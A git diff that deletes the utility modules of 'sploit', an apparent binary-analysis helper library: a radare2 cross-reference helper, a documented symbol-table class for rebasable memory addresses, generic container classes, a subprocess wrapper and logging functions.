xrefs = [re.split(r'\s+',x) for x in xrefs] -    xrefs = [x for x in xrefs if int(x[2],0)==xref_to] -    rets = [] -    CallRet = nt("CallRet", "xref_from xref_to call_addr ret_addr") -    for x in xrefs: -        cmd_ret = f's {x[0]};so;s' -        ret = run_cmd(binary,cmd_ret) -        rets.append(CallRet(xref_from,xref_to,int(x[0],0),int(ret[0],0))) -    return rets - -@cache -def get_bin_info(binary): -    ilog(f'Retrieving binary and security info about {binary} with r2...') - -    return json.loads(run_cmd(binary,'iIj')[0]) diff --git a/sploit/symtbl.py b/sploit/symtbl.py deleted file mode 100644 index 86800f5..0000000 --- a/sploit/symtbl.py +++ /dev/null @@ -1,160 +0,0 @@ -""" -Symtbl data structure - -A Symtbl (symbol table) is an associative data container intended to model -arbitrary memory layouts, such as structure definitions or memory-mapped -objects.  Elements may be accessed via subscript or attribute notation. - -A Symtbl is essentially a dictionary, in which each key (symbol name string) -is associated with an offset value.  A special key "base" represents the -base or starting address of the overall table in memory.  Whenever offset -values are accessed, they are adjusted relative to the table's base value. -This enables the primary function of Symtbl objects: the ability to resolve -mapped, or absolute, addresses of objects in memory. - -Therefore, even though a Symtbl internally tracks symbol offsets, the apparent -value of any symbol will always be its offset plus the table's base address. -The table's base address will also be subtracted from values being stored in -the table, as the provided value is assumed to be mapped in the same manner as -the table itself. - -    s = Symtbl() -    s.a = 10 -    s.b = 20 -    print(s.a, s.b)         # "10 20" -    s.base = 100 -    print(s.a, s.b)         # "110 120" -    s.c = 150 -    s.base = 10 -    print(s.a, s.b, s.c)    # "20 30 60" - -A Symtbl's base value may be changed at any time, and this will affect the -interpretation of offsets as described above.  However, one may also create a -remapped version of a Symtbl (without modifying the original) using the '@' -operator.  This new object will have the base value given on the right hand -side of the '@' and its collection of symbols is referentially linked to the -source object, meaning changes to symbol entries will be visible in both -objects. - -    s1 = Symtbl() -    s1.a = 10 -    s2 = s1 @ 1000 -    print(s1.a, s2.a)       # "10 1010" -    s2.b = 1234 -    print(s1.b, s2.b)       # "234 1234" - -Symtbl's are also nestable, to support modeling composite memory layouts.  If -a symbol's value is assigned to another Symtbl object, rather than an integer -offset, the child object's base value serves as its offset in the parent -Symtbl.  Symbols on the child object may then be accessed recursively from the -parent's scope.  If the parent has a non-zero base, it adjusts the offsets -interpreted in the child. - -    child = Symtbl() -    child.a = 1 -    child.b = 2 -    parent = Symtbl() -    parent.nested = child @ 70 -    print(parent.nested.a, parent.nested.b)     # "71 72" - -A Symtbl will allow you to uniformly adjust all offsets contained, while leaving -the base value the same, using the '<<' and '>>' operators.  A custom -"rebase" operation is also available via the "%" operator.  A rebase applies -a uniform shift, such that the right hand side offset operand ends up coinciding -with the Symtbl base address. - -    s = Symtbl() -    s.a = 1 -    s.b = 2 -    s.c = 3 -    s.d = 4 -    s.base = 1000 -    s %= s.c                    # rebase at symbol 'c' -    print(s.a, s.b, s.c, s.d)   # "998 999 1000 1001" -""" - -from sploit.types.indextbl import IndexTbl -from sploit.types.index_entry import IndexEntry - -def Symtbl(*, base=0, **symbols): -    """ -    Create a new Symtbl object. - -    Return an empty Symtbl or, optionally, one initialized with the given -    symbol values.  Arguments must be keyword arguments. - -    Users should call this function instead of attempting to construct the -    Symtbl class.  Construction is implemented via a normal function to prevent -    any argument name from conflicting with __init__'s bound instance parameter. -    """ -    self = SymtblImpl(base, 0, dict()) -    for k, v in symbols.items(): -        self[k] = v -    return self - -class SymtblImpl(IndexTbl): -    """Symtbl implementation class""" - -    def __init__(self, base, adjust, entries): -        """Construct Symtbl from instance data.""" -        super().__init__(base) -        object.__setattr__(self, "__adjust__", adjust) -        object.__setattr__(self, "__entries__", entries) - -    def __repr__(self): -        """Return human-readable Symtbl.""" -        FMT = "\n{:<20} {:<20}" -        s = f"{len(self)} symbols @ {hex(self)}" - -        if len(self) > 0: -            s += FMT.format("ADDRESS", "SYMBOL") - -        for key, value in self: -            key = f"[{key}]" if isinstance(value, IndexEntry) else key -            s += FMT.format(hex(value), key) - -        return s - -    def __rshift__(self, offset): -        """Return symbol-adjusted version of object.""" -        adjust = self.__adjust__ + int(offset) -        return SymtblImpl(self.base, adjust, self.__entries__) - -    def __lshift__(self, offset): -        """Return symbol-adjusted version of object.""" -        return self >> (-offset) - -    def __mod__(self, offset): -        """Return symbol-rebased version of object.""" -        return self >> (self.base - offset) - -    # IndexTbl abstract methods - -    def __copy__(self): -        """Return copy of object with shared symbol entries.""" -        return SymtblImpl(self.base, self.__adjust__, self.__entries__) - -    def __iter__(self): -        """Iterate over table items, sorted by offsets.""" -        it = { k: self[k] for k in self.__entries__}.items() -        return iter(sorted(it, key=lambda x: int(x[1]))) - -    def __len__(self): -        """Return number of defined symbols.""" -        return len(self.__entries__) - -    def __getindex__(self, index): -        """Return symbol value or translated offset.""" -        if isinstance(index, (int, IndexEntry)): offset = index -        else: offset = self.__entries__[index] -        return offset + (self.base + self.__adjust__) - -    def __setindex__(self, index, value): -        """Set symbol value.""" -        if isinstance(index, (int, IndexEntry)): -            raise TypeError(f"Symtbl: Unsupported key type: {type(index)}") -        self.__entries__[index] = value - (self.base + self.__adjust__) - -    def __delindex__(self, index): -        """Delete symbol.""" -        del self.__entries__[index] diff --git a/sploit/types/__init__.py b/sploit/types/__init__.py deleted file mode 100644 index a618162..0000000 --- a/sploit/types/__init__.py +++ /dev/null @@ -1,3 +0,0 @@ -from .indextbl import * -from .index_entry import * -from .lict import * diff --git a/sploit/types/index_entry.py b/sploit/types/index_entry.py deleted file mode 100644 index a03ab92..0000000 --- a/sploit/types/index_entry.py +++ /dev/null @@ -1,44 +0,0 @@ -import copy - -class IndexEntry: -    """ -    Generic IndexTbl entry object - -    IndexEntry is intended to be subclassed to create interesting types that are -    compatible with IndexTbl directories.  IndexEntry gives objects a baseline -    int-like personality. - -    IndexEntry objects are convertable to int via int(), bin(), hex(), etc.  This -    integer value is manipulated via the object's "base" property, and a few -    operators are implemented to provide nicer syntax for this as well.  The use -    of operators generally yield distinct copies of the original object. - -    The property name "base" is used since it has semantic meaning for the -    IndexTbl class, which is itself an extension of this class. - -    base (int): Index integer value -    """ - -    base = 0 - -    def __init__(self, base=0): -        """Construct index with the given base value.""" -        self.base = base - -    def __index__(self): -        """Convert index to base integer value.""" -        return int(self.base) - -    def __matmul__(self, base): -        """Create new object with the given base value.""" -        new = copy.copy(self) -        new.base = base -        return new - -    def __add__(self, add): -        """Create new object with the given relative base value.""" -        return self @ (self.base + add) - -    def __sub__(self, sub): -        """Create new object with the given relative base value.""" -        return self @ (self.base - sub) diff --git a/sploit/types/indextbl.py b/sploit/types/indextbl.py deleted file mode 100644 index 4f57a59..0000000 --- a/sploit/types/indextbl.py +++ /dev/null @@ -1,103 +0,0 @@ -from abc import abstractmethod -from collections.abc import Collection - -from sploit.types.index_entry import IndexEntry - -class IndexTbl(IndexEntry, Collection): -    """ -    Abstract Index Table - -    IndexTbl is a common interface to an abstracted key-value store.  The -    storage mechanism as well as lookup semantics are defined by concrete -    implementations.  "Index" in this case is more akin to a directory index or -    book index than a strictly numeric array index. - -    In general, concrete tables may store values of any or multiple different -    types.  In particular, tables should give special accommodation for values -    of type IndexEntry.  These objects usually represent "rich" versions of the -    nominal data types the table expects to contain.  Implementation repr() -    methods usually also annotate which members are IndexEntries. - -    IndexTbl extends from IndexEntry, and so has a base value which represents -    the "base index" of the table.  The meaning of this depends on the -    implementation.  This inheritance also means that tables are generally -    expected to be nestable. - -    IndexTbls allow indices to be accessed via attribute or subscript notation. -    This is probably the key characteristic feature of the class.  The class -    namespace is kept as clean as possible to make for the fewest collisions -    between index names and other (real) class attributes.  Note that there are -    abstract methods, required to be overridden, which implement the index -    access.  These methods are only called for normal indices, not the table -    base. - -    Because this class overrides attribute access, normal automatic object -    copying is broken.  Because of this, implementations must also provide a -    definition for the __copy__() method as well. -    """ - -    @abstractmethod -    def __getindex__(self, index): -        """Lookup and retrieve index value.""" -        raise NotImplementedError - -    @abstractmethod -    def __setindex__(self, index, value): -        """Lookup and set index value.""" -        raise NotImplementedError - -    @abstractmethod -    def __delindex__(self, index): -        """Lookup and delete index value.""" -        raise NotImplementedError - -    @abstractmethod -    def __copy__(self): -        """Create a copy of this IndexTbl object.""" -        raise NotImplementedError - -    def __contains__(self, index): -        """Test the existence of the given index.""" -        try: -            self.__getindex__(index) -        except KeyError: -            return False -        else: -            return True - -    # Attribute access methods - -    def __getattr__(self, index): -        """Get value via attribute.""" -        return self[index] - -    def __setattr__(self, index, value): -        """Set value via attribute.""" -        self[index] = value - -    def __delattr__(self, index): -        """Delete value via attribute.""" -        del self[index] - -    # Subscript/item access methods - -    def __getitem__(self, index): -        """Get value via subscript.""" -        if index == "base": -            return self.base -        return self.__getindex__(index) - -    def __setitem__(self, index, value): -        """Set value via subscript.""" -        if index == "base": -            object.__setattr__(self, "base", value) -        elif index in dir(self): -            raise KeyError(f"IndexTbl: Index is reserved: {index}") -        else: -            self.__setindex__(index, value) - -    def __delitem__(self, index): -        """Delete value via subscript.""" -        if index == "base": -            raise KeyError("IndexTbl: May not delete index: base") -        self.__delindex__(index) diff --git a/sploit/types/lict.py b/sploit/types/lict.py deleted file mode 100644 index ab6cb1f..0000000 --- a/sploit/types/lict.py +++ /dev/null @@ -1,202 +0,0 @@ -from collections.abc import MutableSequence, MutableMapping - -class Lict(MutableSequence, MutableMapping): -    """ -    List / dictionary hybrid container - -    Lict attempts to provide an API for a list which supports optional element -    keys in addition to normal positional indices.  For Lict, index types are -    int and slice.  Keys may be any other type except for None, as None -    indicates an unkeyed value. - -    Nearly all of the operations you'd except to perform on list or dict are -    implemented here.  However, in cases of conflict, the list behavior is -    usually preferred (for example: iter(Lict) iterates over values instead of -    keys).  In general, Licts are slightly more list-like, since keys are -    optional, but sequence is required. - -    Licts can be constructed from any iterable, including other Licts.  When -    constructing from mappings, similar heuristics as dict's are used to parse -    key values. - -    In addition to keys and indices, slices may be used to return, modify, or -    delete a portion of a Lict.  The start and end fields of a slice may be -    either keys or indices, however the step field must be an integer as usual. - -    When assigning to a non-existent key, the new element is sequentially -    inserted at the end of the Lict. -    """ - -    def __init__(self, values=None): -        """Construct new Lict, optionally populated by the given iterable.""" -        self.__keys = [] -        self.__vals = [] -        if values is not None: -            self.extend(values) - -    def __repr__(self): -        """Return human-readable Lict.""" -        s = "" -        for i in range(len(self)): -            if self.__keys[i] is not None: -                s += f"{repr(self.__keys[i])}: " -            s += f"{repr(self.__vals[i])}, " -        return f"{{[{s[:-2]}]}}" - -    def __copy__(self): -        """Return shallow copy of object.""" -        return self.copy() - -    def copy(self): -        """Return shallow copy of object.""" -        return Lict(self) - -    def key2idx(self, arg): -        """ -        Return value of index type for the given input. - -        For keys, return the corresponding index, or raise KeyError. -        For slices, return a slice with components converted to index type. - -        If arg is already an index (or None) it is returned as-is with no -        assertions made. -        """ -        if isinstance(arg, slice): -            return slice(self.key2idx(arg.start), self.key2idx(arg.stop), arg.step) -        if isinstance(arg, int) or arg is None: -            return arg -        try: -            return self.__keys.index(arg) -        except ValueError as ex: -            raise KeyError(f"Lict: Key does not exist: {arg}") from ex - -    def idx2key(self, arg): -        """ -        Return value of key type for the given input. - -        For indices, return the corresponding key, None, or raise IndexError. -        For slices, return a slice with components converted to key type. - -        If arg is already a key type (or None) it is returned as-is with no -        assertions made. -        """ -        if isinstance(arg, slice): -            return slice(self.idx2key(arg.start), self.idx2key(arg.stop), arg.step) -        if not isinstance(arg, int) or arg is None: -            return arg -        return self.__keys[arg] - -    def haskey(self, arg): -        """ -        Test existence of key in Lict object. - -        `x in Lict` only tests for the _value_ x in Lict.  This is consistent -        with list behavior.  This method is provided to test keys as well. -        Raises TypeError on any index type. -        """ -        if arg is None: -            return False -        if isinstance(arg, (int, slice)): -            raise TypeError(f"Lict: Unsupported key type: {type(arg)}") -        return arg in self.__keys - -    def __assign_slice(self, i, value): -        """Update Lict values according to element slice.""" -        value = Lict(value) -        tmp = self.copy() -        tmp.__keys[i] = value.__keys -        tmp.__vals[i] = value.__vals - -        check_keys = [ x for x in tmp.__keys if x is not None ] -        if len(check_keys) != len(set(check_keys)): -            raise ValueError("Lict: Slice assignment results in duplicate keys") - -        self.__keys = tmp.__keys -        self.__vals = tmp.__vals - -    # collections.abc abstract methods - -    def __len__(self): -        """Return number of elements in Lict.""" -        assert len(self.__keys) == len(self.__vals) -        return len(self.__keys) - -    def __getitem__(self, arg): -        """Return value for given index, key, or slice.""" -        i = self.key2idx(arg) -        if isinstance(i, slice): -            return Lict(zip(self.__keys[i], self.__vals[i])) -        return self.__vals[i] - -    def __setitem__(self, arg, value): -        """Set value for given index, key, or slice.""" -        try: -            i = self.key2idx(arg) -        except KeyError: -            self.append(value, arg) -        else: -            if isinstance(i, slice): -                self.__assign_slice(i, value) -            else: -                self.__vals[i] = value - -    def __delitem__(self, arg): -        """Delete value for given index, key, or slice.""" -        i = self.key2idx(arg) -        del self.__keys[i] -        del self.__vals[i] - -    def insert(self, where, value, key=None): -        """Insert value into Lict.  Optionally apply the given key.""" -        if self.haskey(key): -            raise KeyError(f"Lict: Key is not unique: {key}") -        i = self.key2idx(where) -        self.__keys.insert(i, key) -        self.__vals.insert(i, value) - -    # Sequence overrides - -    def append(self, value, key=None): -        """Append value to Lict.  Optionally apply the given key.""" -        self.insert(len(self), value, key) - -    def extend(self, values): -        """Append all values in given iterable to the Lict.""" -        try: values = [ [k, v] for k, v in values.items() ] -        except: -            try: values = [ [k, v] for k, v in iter(values) ] -            except: values = [ [None, v] for v in iter(values) ] -        for k, v in values: -            self.append(v, k) - -    def reverse(self): -        """Reverse the sequence of Lict in-place.  Keys follow values.""" -        self.__keys.reverse() -        self.__vals.reverse() - -    # Mapping overrides - -    def get(self, key, default=None): -        """Return value for given key, or default if unable.""" -        try: return self[key] -        except: return default - -    def popitem(self): -        """Pop a key-value pair from the Lict and return it.""" -        return (self.__keys.pop(), self.__vals.pop()) - -    def items(self): -        """Return an iterable of key-value pairs.""" -        return list(zip(self.__keys, self.__vals)) - -    def keys(self): -        """Return an iterable of the Lict's keys.""" -        return [ x for x in self.__keys if x is not None ] - -    def values(self): -        """Return an iterable of the Lict's values.""" -        return list(self.__vals) - -    def update(self, values): -        """Method is unsupported.""" -        raise NotImplementedError diff --git a/sploit/until.py b/sploit/until.py deleted file mode 100644 index b4f390f..0000000 --- a/sploit/until.py +++ /dev/null @@ -1,14 +0,0 @@ -from functools import partial as bind -import re - -def lastline(pred, /, *args, **kwargs): -    s = args[-1] -    args = args[:-1] -    p = bind(pred, *args, **kwargs) -    return p(s[-1]) - -def contains(regex, s): -    return re.search(regex, s) - -def equals(regex, s): -    return re.fullmatch(regex, s) diff --git a/sploit/util/__init__.py b/sploit/util/__init__.py deleted file mode 100644 index 32a079b..0000000 --- a/sploit/util/__init__.py +++ /dev/null @@ -1,2 +0,0 @@ -from .cmd import * -from .log import * diff --git a/sploit/util/cmd.py b/sploit/util/cmd.py deleted file mode 100644 index 3a2b842..0000000 --- a/sploit/util/cmd.py +++ /dev/null @@ -1,26 +0,0 @@ -from os import path -from subprocess import run - -def run_cmd(cmd,cwd=None): -    return run(cmd,cwd=cwd,capture_output=True,text=True,check=True).stdout.split('\n')[:-1] - -__RUN_CACHE__ = {} -def run_cmd_cached(cmd,cwd=None): -    key = ''.join(cmd) -    if key in __RUN_CACHE__: -        return __RUN_CACHE__[key] -    else: -        result = run_cmd(cmd,cwd) -        __RUN_CACHE__[key] = result -        return result - -#try to get the version through git -def git_version(): -    try: -        cwd = path.dirname(path.realpath(__file__)) -        version = run_cmd(["git","describe","--always","--first-parent","--dirty"],cwd=cwd)[0] -        #PEP440 compliance -        version = version.replace('-','+',1).replace('-','.') -        return version -    except: -        return "0+unknown.version" diff --git a/sploit/util/log.py b/sploit/util/log.py deleted file mode 100644 index 823b252..0000000 --- a/sploit/util/log.py +++ /dev/null @@ -1,32 +0,0 @@ -import codecs -import sys - -# https://docs.python.org/3/library/codecs.html#standard-encodings -ENCODING = None - -ERROR   = 31 -WARNING = 33 -STATUS  = 32 -NORMAL  =  0 -ALT     = 90 - -def enc_value(value, enc): -    if type(value) is bytes: -        if enc is not None: -            value = codecs.encode(value, enc) -        elif ENCODING is not None: -            value = codecs.encode(value, ENCODING) -        value = str(value)[2:-1] # strip b'' -    return str(value) - -def generic_log(*values, sep, end, file, flush, enc, color): -    string = sep.join([ enc_value(x, enc) for x in values ]) -    print(f'\033[{color}m{string}\033[0m', end=end, file=file, flush=flush) - -# For library internal use -def ilog(*values, sep=' ', end='\n', file=sys.stderr, flush=True, enc=None, color=STATUS): -    generic_log(*values, sep=sep, end=end, file=file, flush=flush, enc=enc, color=color) - -# For external use in user script (via print = elog) -def elog(*values, sep=' ', end='\n', file=sys.stdout, flush=True, enc=None, color=ALT): -    generic_log(*values, sep=sep, end=end, file=file, flush=flush, enc=enc, color=color) | 
